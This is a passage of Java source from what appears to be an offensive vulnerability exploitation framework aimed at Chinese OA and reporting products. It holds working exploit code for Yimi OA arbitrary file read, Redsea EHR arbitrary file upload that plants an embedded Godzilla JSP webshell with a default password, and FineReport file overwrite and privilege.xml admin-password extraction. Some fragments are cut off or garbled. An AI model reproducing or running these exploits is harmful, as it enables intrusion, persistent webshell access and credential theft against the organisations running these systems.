20%20%20%20%20%20%20%20%20%20%20";
45 | String requestData = " \n \n ";
46 |
47 | switch (type){
48 | case POC:
49 | HttpRequest httpRequest = new HttpRequest(target+url);
50 | httpRequest.addHeaders("Accept","*/*");
51 | httpRequest.addHeaders("Content-Type", "application/xml");
52 | httpRequest.addHeaders("Content-Length","40");
53 | Response result = httpRequest.Post(requestData);
54 |
55 | if (result.statusCode == 200 && result.responseBody.contains("xml version=\"1.0")){
56 | try {
57 | DocumentBuilder builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
58 | ByteArrayInputStream input = new ByteArrayInputStream(result.responseBody.getBytes("UTF-8"));
59 | Document document = builder.parse(input);
60 | // 提取命令执行的内容
61 | NodeList nodeList = document.getElementsByTagName("arr");
62 |
63 | for (int i = 0; i < nodeList.getLength(); i++) {
64 | Element element = (Element) nodeList.item(i);
65 | if ("title".equals(element.getAttribute("name"))) {
66 | Node strNode = element.getElementsByTagName("str").item(0);
67 | String content = strNode.getTextContent().trim();
68 | WriteLog("\n 命令:"+content);
69 | WriteExpLog("[*] "+content);
70 | }
71 | }
72 | } catch (Exception e) {
73 | e.printStackTrace();
74 | }
75 | WriteLog("\n[*] 存在漏洞");
76 |
77 | WriteLog("\n[*] 切换到命令执行模块执行其他命令");
78 |
79 | }else {
80 | WriteLog("\n[*] 不存在漏洞");
81 | }
82 | case EXP:
83 | }
84 | }
85 |
86 | }
87 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/YimiController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | @BasicMapping(uri = "一米OA")
10 | public class YimiController extends Controller implements BasicController{
11 |
12 | @VulnerabilityDescriptionMapping(Description="一米OA getfile.jsp 任意文件读取漏洞" ,SupportVulType= SupportVul.信息泄露)
13 | public void vul_Getfile(Poc_Exp type, String target, Object... args) throws Exception {
14 | WriteLog("\n[*]开始检测: 一米OA getfile.jsp 任意文件读取漏洞");
15 |
16 | switch (type){
17 | case EXP:
18 | break;
19 | case POC:
20 | HttpRequest httpRequest = new HttpRequest(target+"/public/getfile.jsp?user=1&prop=activex&filename=../public/getfile&extname=jsp");
21 | Response result = httpRequest.Get("");
22 | if(result.responseBody.contains("import")&&result.statusCode==200){
23 | WriteLog("\n[*] 存在漏洞");
24 | WriteLog(result.responseBody);
25 | }else {
26 | WriteLog("\n[*] 不存在漏洞");
27 | }
28 | WriteLog("\n[*]"+result.responseBody);
29 | }
30 | }
31 |
32 | }
33 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/ehrController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.HttpRequest;
6 | import com.achuna33.Utils.Response;
7 | import com.achuna33.Utils.Utils;
8 | @BasicMapping(uri = "红海EHR")
9 | public class ehrController extends Controller implements BasicController{
10 | @VulnerabilityDescriptionMapping(Description="红海EHR任意文件上传漏洞" ,SupportVulType= SupportVul.UploadFile)
11 | public void vul_ehr_CVM(Poc_Exp type, String target, Object... args) throws Exception {
12 | WriteLog("\n[*]开始检测: 红海EHR任意文件上传漏洞");
13 | String data = "------WebKitFormBoundaryQb1l0Fqa\r\n" +
14 | "Content-Disposition: form-data; name=\"OPTION\"\r\n" +
15 | "\r\n" +
16 | "{\"OPTION\":\"SAVEFILE\"}\r\n" +
17 | "------WebKitFormBoundaryQb1l0Fqa\r\n" +
18 | "Content-Disposition: form-data; name=\"FILENAME\"\r\n" +
19 | "\r\n" +
20 | "{\"FILENAME\":\"versions.txt\"}\r\n" +
21 | "------WebKitFormBoundaryQb1l0Fqa\r\n" +
22 | "Content-Disposition: form-data; name=\"file\";filename=\"versions.txt\"\r\n" +
23 | "\r\n" +
24 | "shellcode\r\n" +
25 | "------WebKitFormBoundaryQb1l0Fqa";
26 | String url2 = "/cas/js/lib/buttons/iconfig.jsp";
27 | String url = "/RedseaPlatform/OfficeServer";
28 | switch (type){
29 | case EXP:
30 | String path = null;
31 | String mypayload = null;
32 | try {
33 | path = (String) args[0];
34 | try {
35 | byte[] bytes = Utils.readFile(path);
36 | mypayload = new String(bytes);
37 | }catch (Exception e){
38 | WriteExpLog("\n [*] 文件读取失败");
39 | }
40 | }catch (Exception e){
41 |
42 | }
43 | String payload = "<%! String xc=\"3c6e0b8a9c15224a\"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(\"AES\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\"));return c.doFinal(s); }catch (Exception e){return null; }}\n" +
44 | "%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader(\"Content-Length\"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))";
46 |
47 | if (mypayload!=null){
48 | payload = mypayload;
49 | }else {
50 | WriteExpLog("\n [*] 默认shell 为哥斯拉shell 密码 key");
51 | }
52 | String expshellpath = Utils.getRandomString(4)+".jsp";
53 | // url = url.replace("iconfig.jsp",expshellpath);
54 | HttpRequest httpRequest3 = new HttpRequest(target+url);
55 | httpRequest3.addHeaders("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.31");
56 | httpRequest3.addHeaders("X-Requested-With","XMLHttpRequest");
57 | httpRequest3.addHeaders("Accept-Encoding"," gzip, deflate");
58 | httpRequest3.addHeaders("Content-type","multipart/form-data; boundary=----WebKitFormBoundaryQb1l0Fqa");
59 | httpRequest3.addHeaders("Accept-Language"," zh-CN,zh;q=0.9");
60 | httpRequest3.addHeaders("Accept"," application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequest");
61 | data = data.replace("shellcode",payload).replace("versions.txt",expshellpath);
62 |
63 | httpRequest3.Post(data);
64 |
65 | Response result1 = new HttpRequest(target +"/uploadfile/"+expshellpath).Get("");
66 | if(result1.statusCode==200){
67 | WriteExpLog("\n[*] shell path:\n"+target +"/uploadfile/"+expshellpath);
68 | }else {
69 | WriteExpLog("\n 访问失败:\n"+target +"/uploadfile/"+expshellpath);
70 | WriteExpLog("\n 请验证POC 可靠性 或 EXP免杀性");
71 |
72 | }
73 | break;
74 | case POC:
75 | String shellpath = Utils.getRandomString(4)+".txt";
76 | String poc = "103ccba74d78db6awfererterter3c";
77 | HttpRequest httpRequest2 = new HttpRequest(target+url);
78 | httpRequest2.addHeaders("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.31");
79 | httpRequest2.addHeaders("X-Requested-With","XMLHttpRequest");
80 | httpRequest2.addHeaders("Accept-Encoding"," gzip, deflate");
81 | httpRequest2.addHeaders("Content-type","multipart/form-data; boundary=----WebKitFormBoundaryQb1l0Fqa");
82 | httpRequest2.addHeaders("Accept-Language"," zh-CN,zh;q=0.9");
83 | httpRequest2.addHeaders("Accept"," application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequest");
84 | httpRequest2.Post(data.replace("shellcode",poc).replace("versions.txt",shellpath));
85 | Response result = new HttpRequest(target+"/uploadfile/"+shellpath).Get("");
86 | if(result.responseBody.contains("103ccba74d78db6awfererterter3c")&&result.statusCode==200){
87 | WriteLog("\n[*] 存在漏洞");
88 | // WriteLog("访问:"+target +url2.replace("iconfig.jsp",shellpath));
89 | }else {
90 | WriteLog("\n[-] 不存在漏洞");
91 | }
92 | }
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/src/main/java/com/achuna33/Controllers/fineReportController.java:
--------------------------------------------------------------------------------
1 | package com.achuna33.Controllers;
2 |
3 | import com.achuna33.SupportType.Poc_Exp;
4 | import com.achuna33.SupportType.SupportVul;
5 | import com.achuna33.Utils.Cache;
6 | import com.achuna33.Utils.HttpRequest;
7 | import com.achuna33.Utils.Response;
8 |
9 | import java.net.MalformedURLException;
10 |
11 | @BasicMapping(uri = "帆软OA")
12 | public class fineReportController extends Controller implements BasicController{
13 |
14 | @VulnerabilityDescriptionMapping(Description = "帆软报表 V9 design_save_svg 任意文件覆盖文件上传",SupportVulType = SupportVul.UploadFile)
15 | public void vul_design_save_svg(Poc_Exp type, String target, Object... args) throws MalformedURLException {
16 | WriteLog("\n[*]开始检测: 帆软报表 V9 design_save_svg 任意文件覆盖文件上传");
17 | String url = "/WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/update.jsp";
18 | String data = "{\"__CONTENT__\":\"<%out.println(\\\"Hello World!\\\");%>\",\"__CHARSET__\":\"UTF-8\"}";
19 | switch (type){
20 | case EXP:
21 | new HttpRequest(target+url).Post(data);
22 |
23 | HttpRequest httpRequest2_exp = new HttpRequest(target+url);
24 | Response result2_exp = httpRequest2_exp.Get("");
25 | if(result2_exp.responseBody.contains("Hello World") && result2_exp.statusCode==200){
26 | WriteExpLog("\n[*] 存在漏洞");
27 | }else {
28 | WriteExpLog("\n[*] 不存在漏洞");
29 | }
30 | WriteExpLog("\n"+result2_exp.responseBody);
31 | break;
32 | case POC:
33 | new HttpRequest(target+url).Post(data);
34 |
35 | HttpRequest httpRequest2 = new HttpRequest(target+"/update.jsp");
36 | Response result2 = httpRequest2.Get("");
37 | if(result2.responseBody.contains("Hello World") && result2.statusCode==200){
38 | WriteLog("\n[*] 存在漏洞");
39 | }else {
40 | WriteLog("\n[*] 不存在漏洞");
41 | }
42 | WriteLog("\n[*]"+result2.responseBody);
43 | }
44 | }
45 | @VulnerabilityDescriptionMapping(Description = "帆软报表 V8 get_geo_json 任意文件读取漏洞 CNVD-2018-04757",SupportVulType = SupportVul.信息泄露)
46 | public void vul_get_geo_json(Poc_Exp type, String target, Object... args) throws MalformedURLException{
47 | WriteLog("\n开始检测: 帆软报表 V8 get_geo_json 任意文件读取漏洞 CNVD-2018-04757");
48 | String url = "/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml";
49 | switch (type){
50 | case EXP:
51 |
52 | break;
53 | case POC:
54 | Response result2 = new HttpRequest(target+url).Get("");
55 | if(result2.responseBody.contains("rootManagerName") && result2.statusCode==200){
56 | WriteLog("\n[*] 存在漏洞");
57 | String passwordEncode = result2.responseBody.split("")[1].split("")[0];
58 | passwordEncode = passwordEncode.split("\n" +
93 | "\n" +
94 | "\n" +
95 | "\n" +
96 | "\n" +
97 | "\n" +
98 | "\n" +
99 | "\n" +
100 | "\n" +
101 | "\n" +
102 | "";
103 | String passwordEncode = data.split("")[1].split("")[0];
104 | passwordEncode = passwordEncode.split(" queue = new PriorityQueue